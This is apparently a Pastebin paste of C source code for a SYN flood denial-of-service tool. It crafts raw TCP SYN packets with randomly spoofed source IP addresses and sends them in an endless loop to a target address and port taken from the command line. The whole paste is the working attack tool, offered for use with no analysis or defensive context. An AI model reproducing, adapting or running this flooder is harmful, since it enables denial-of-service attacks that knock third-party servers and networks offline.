Advertisement
xttpx

syn

Dec 7th, 2022
894
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.96 KB | None | 0 0
  1. #include "tcpip.h"
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <time.h>
  6. #include <signal.h>
  7. #include <errno.h>
  8.  
  9. ushort csum(short* data, int len);
  10. char* randip(char* dst);
  11. ushort rand16();
  12. uint rand32();
  13.  
  14. int sd;
  15.    
  16. void help() { printf("SYN Flooder - By: || xttpx || IPV4_ADDR PORT\n"); exit(1); }
  17. void quit(int sig) { close(sd); exit(0); }
  18.  
  19. int main(int argc, char** argv) {
  20.     if (argc!=3) help();
  21.  
  22.     /* Map CTRL-C to quit() */
  23.     struct sigaction sa;
  24.     sa.sa_handler = &quit;
  25.     sa.sa_flags = 0;
  26.     sigemptyset(&sa.sa_mask);
  27.     sigaction(SIGINT, &sa, 0);
  28.  
  29.     char rip[16];
  30.     char packet[4096];
  31.     struct iphdr ip;
  32.     struct tcpph tph;
  33.     struct tcphdr tcp;
  34.     struct sockaddr_in sin;
  35.     const int on = 1;
  36.  
  37.     memset(&packet, 0, 40);
  38.     ip.ihl = 5;
  39.     ip.ipv = 4;
  40.     ip.tos = 0;
  41.     ip.len = IPHDR_LEN + TCPHDR_LEN;
  42.     ip.id = htons(rand16());
  43.     ip.ttl = 64;
  44.     ip.proto = IPPROTO_TCP;
  45.     ip.src = (uint)inet_addr(randip(rip));
  46.     ip.dst = (uint)inet_addr(argv[1]);
  47.     ip.chksum = 0;
  48.     ip.chksum = csum((short*)&ip, IPHDR_LEN);
  49.     tcp.sport = htons((short)atoi(argv[2]));
  50.     tcp.dport = htons((short)atoi(argv[2]));
  51.     tcp.seq = htonl(rand32());
  52.     tcp.offset = sizeof(struct tcphdr) / 4;
  53.     tcp.flgs = TCP_SYN;
  54.     tcp.chksum = 0;
  55.     tph.src = ip.src;
  56.     tph.dst = ip.dst;
  57.     tph.zero = 0;
  58.     tph.proto = IPPROTO_TCP;
  59.     tph.tcp_len = sizeof(struct tcphdr);
  60.     memmove(packet, &tph, TCPPH_LEN);
  61.     memmove(packet + TCPPH_LEN, &tcp, TCPHDR_LEN);
  62.     tcp.chksum = csum((short*)packet, TCPPH_LEN + TCPHDR_LEN);
  63.     memmove(packet, &ip, IPHDR_LEN);
  64.     memmove(packet + IPHDR_LEN, &tcp, TCPHDR_LEN);
  65.  
  66.     sd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  67.     if (sd == -1) {
  68.         printf("Failed to create socket. Error code: %d\n", errno);
  69.         exit(1);
  70.     }
  71.     if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
  72.         printf("Failed to set socket options. Error code: %d\n", errno);
  73.         exit(1);
  74.     }
  75.     sin.sin_family = AF_INET;
  76.     sin.sin_port = htons(tcp.dport);
  77.     memmove(&(sin.sin_addr), &(ip.dst), sizeof(struct in_addr));
  78.     while (1) {
  79.         if (sendto(sd, packet, ip.len, 0, (struct sockaddr*)&sin, sizeof(struct sockaddr)) == -1) {
  80.             printf("Failed To Send SYN Packet(s). Error code: %d\n", errno);
  81.             exit(1);
  82.         } else {
  83.             printf("Sent SYN Packets With Spoofed IP: %s\n", rip);
  84.         }
  85.         ip.id = htons(rand16());
  86.         ip.src = (uint)inet_addr(randip(rip));
  87.         ip.chksum = 0;
  88.         ip.chksum = csum((short*)&ip, IPHDR_LEN);
  89.         tph.src = ip.src;
  90.         tcp.seq = htonl(rand32());
  91.         tcp.chksum = 0;
  92.         memmove(packet, &tph, TCPPH_LEN);
  93.         memmove(packet + TCPPH_LEN, &tcp, TCPHDR_LEN);
  94.         tcp.chksum = csum((short*)packet, TCPPH_LEN + TCPHDR_LEN);
  95.         memmove(packet, &ip, IPHDR_LEN);
  96.         memmove(packet + IPHDR_LEN, &tcp, TCPHDR_LEN);
  97.     }
  98. }
  99.  
  100. ushort csum(short* data, int len) {
  101.     int sum = 0;
  102.     for (; len > 1; len -= 2) sum += *data++;
  103.     if (len == 1) sum += *(uchar*)data;
  104.     while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
  105.     return ~sum;
  106. }
  107.  
  108. /* The best I can do for generating a random ipv4 address */
  109. char* randip(char* dst) {
  110.     dst[0] = 0;
  111.     int i, j, k;
  112.     srandom(time(0));
  113.     srand(random());
  114.     srandom(rand());
  115.     j = rand() + random();
  116.     for (i = 0, k = 0; k < 4; i += strlen(dst + i), k++, j += ((rand() + (int)dst) % i) ^ time(0)) {
  117.         srand((int)dst + i + k);
  118.         srand(j + dst[i+k] + (int)&i + rand());
  119.         j = rand() % 255;
  120.         sprintf(dst + i, "%d.", j);
  121.     }
  122.     dst[i-1] = 0;
  123.     return dst;
  124. }
  125.  
  126. ushort rand16() {
  127.     srandom(time(0));
  128.     srand(random());
  129.     srandom(rand());
  130.     return (random() + rand() + time(0)) % 65535;
  131. }
  132.  
  133. uint rand32() {
  134.     srandom(time(0));
  135.     srand(random());
  136.     srandom(rand());
  137.     return (random() + rand() & time(0));
  138. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement